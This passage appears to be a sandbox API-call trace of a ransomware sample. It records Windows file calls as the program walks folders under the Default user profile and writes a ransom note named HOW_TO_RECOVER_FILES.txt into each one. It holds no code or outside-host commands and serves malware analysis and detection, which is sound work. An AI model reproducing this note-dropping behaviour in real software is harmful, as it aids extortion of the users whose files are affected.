ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0156.877] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ea5f0) returned 1 [0156.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ea5b0) returned 1 [0156.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ea6b0) returned 1 [0156.878] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm", nBufferLength=0x105, lpBuffer=0x202ea150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm", lpFilePart=0x0) returned 0x41 [0156.878] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x202ea3d0 | out: lpFindFileData=0x202ea3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.878] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ea390 | out: lpFindFileData=0x202ea390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.878] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ea390 | out: lpFindFileData=0x202ea390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0156.878] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ea5f0) returned 1 [0156.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ea5b0) returned 1 [0156.878] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ea100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5a [0156.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ea620) returned 1 [0156.878] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\network\\connections\\cm\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0156.879] GetFileType (hFile=0x80c) returned 0x1 [0156.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ea590) returned 1 [0156.880] GetFileType (hFile=0x80c) returned 0x1 [0156.880] WriteFile (in: hFile=0x80c, lpBuffer=0x34dd2e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ea6e8, lpOverlapped=0x0 | out: lpBuffer=0x34dd2e8*, lpNumberOfBytesWritten=0x202ea6e8*=0x5d0, lpOverlapped=0x0) returned 1 [0156.881] CloseHandle (hObject=0x80c) returned 1 [0156.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ea6b0) returned 1 [0156.881] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm", nBufferLength=0x105, lpBuffer=0x202ea150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm", lpFilePart=0x0) returned 0x48 [0156.881] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm\\*", lpFindFileData=0x202ea3d0 | out: lpFindFileData=0x202ea3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.882] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ea390 | out: lpFindFileData=0x202ea390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.882] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ea390 | out: lpFindFileData=0x202ea390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0156.882] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ea5f0) returned 1 [0156.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ea5b0) returned 1 [0156.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ea6b0) returned 1 [0156.882] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm", nBufferLength=0x105, lpBuffer=0x202ea150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm", lpFilePart=0x0) returned 0x48 [0156.882] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm\\*", lpFindFileData=0x202ea3d0 | out: lpFindFileData=0x202ea3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.882] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ea390 | out: lpFindFileData=0x202ea390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.882] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ea390 | out: lpFindFileData=0x202ea390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0156.883] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ea5f0) returned 1 [0156.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ea5b0) returned 1 [0156.883] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ea100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x61 [0156.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ea620) returned 1 [0156.883] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\network\\connections\\_hiddencm\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0156.883] GetFileType (hFile=0x80c) returned 0x1 [0156.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ea590) returned 1 [0156.883] GetFileType (hFile=0x80c) returned 0x1 [0156.884] WriteFile (in: hFile=0x80c, lpBuffer=0x34ee750*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ea6e8, lpOverlapped=0x0 | out: lpBuffer=0x34ee750*, lpNumberOfBytesWritten=0x202ea6e8*=0x5d0, lpOverlapped=0x0) returned 1 [0156.885] CloseHandle (hObject=0x80c) returned 1 [0156.885] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202eab30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x57 [0156.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb050) returned 1 [0156.885] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\network\\connections\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0156.885] GetFileType (hFile=0x80c) returned 0x1 [0156.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eafc0) returned 1 [0156.885] GetFileType (hFile=0x80c) returned 0x1 [0156.886] WriteFile (in: hFile=0x80c, lpBuffer=0x34f1ff8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202eb118, lpOverlapped=0x0 | out: lpBuffer=0x34f1ff8*, lpNumberOfBytesWritten=0x202eb118*=0x5d0, lpOverlapped=0x0) returned 1 [0156.887] CloseHandle (hObject=0x80c) returned 1 [0156.887] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202eb560, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0156.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eba80) returned 1 [0156.887] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\network\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0156.887] GetFileType (hFile=0x80c) returned 0x1 [0156.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb9f0) returned 1 [0156.887] GetFileType (hFile=0x80c) returned 0x1 [0156.888] WriteFile (in: hFile=0x80c, lpBuffer=0x34f5870*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ebb48, lpOverlapped=0x0 | out: lpBuffer=0x34f5870*, lpNumberOfBytesWritten=0x202ebb48*=0x5d0, lpOverlapped=0x0) returned 1 [0156.889] CloseHandle (hObject=0x80c) returned 1 [0156.889] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0156.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0156.889] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0156.891] GetFileType (hFile=0x80c) returned 0x1 [0156.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0156.891] GetFileType (hFile=0x80c) returned 0x1 [0156.892] WriteFile (in: hFile=0x80c, lpBuffer=0x34f9340*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x34f9340*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0157.028] CloseHandle (hObject=0x80c) returned 1 [0157.029] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x39 [0157.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0157.029] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\roaming\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.049] GetFileType (hFile=0x80c) returned 0x1 [0157.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0157.050] GetFileType (hFile=0x80c) returned 0x1 [0157.050] WriteFile (in: hFile=0x80c, lpBuffer=0x342d398*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x342d398*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.051] CloseHandle (hObject=0x80c) returned 1 [0157.051] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0157.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.051] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.052] GetFileType (hFile=0x80c) returned 0x1 [0157.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.052] GetFileType (hFile=0x80c) returned 0x1 [0157.052] WriteFile (in: hFile=0x80c, lpBuffer=0x3430bb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3430bb0*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.053] CloseHandle (hObject=0x80c) returned 1 [0157.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.053] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Application Data", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Application Data", lpFilePart=0x0) returned 0x21 [0157.053] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed950) returned 1 [0157.055] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Application Data\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Application Data\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3a [0157.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.056] CreateFileW (lpFileName="C:\\Users\\Default\\Application Data\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\application data\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.056] GetFileType (hFile=0x80c) returned 0x1 [0157.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.056] GetFileType (hFile=0x80c) returned 0x1 [0157.057] WriteFile (in: hFile=0x80c, lpBuffer=0x3443130*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3443130*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.058] CloseHandle (hObject=0x80c) returned 1 [0157.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.058] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Cookies", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Cookies", lpFilePart=0x0) returned 0x18 [0157.058] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed950) returned 1 [0157.060] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Cookies\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Cookies\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0157.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.060] CreateFileW (lpFileName="C:\\Users\\Default\\Cookies\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\cookies\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.061] GetFileType (hFile=0x80c) returned 0x1 [0157.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.061] GetFileType (hFile=0x80c) returned 0x1 [0157.062] WriteFile (in: hFile=0x80c, lpBuffer=0x34536a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x34536a8*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.063] CloseHandle (hObject=0x80c) returned 1 [0157.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.063] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Desktop", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Desktop", lpFilePart=0x0) returned 0x18 [0157.063] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.063] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.063] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.064] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.064] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Desktop", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Desktop", lpFilePart=0x0) returned 0x18 [0157.064] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.064] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.064] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.064] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.065] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Desktop\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Desktop\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0157.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.065] CreateFileW (lpFileName="C:\\Users\\Default\\Desktop\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\desktop\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.066] GetFileType (hFile=0x80c) returned 0x1 [0157.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.066] GetFileType (hFile=0x80c) returned 0x1 [0157.066] WriteFile (in: hFile=0x80c, lpBuffer=0x34641f8*, 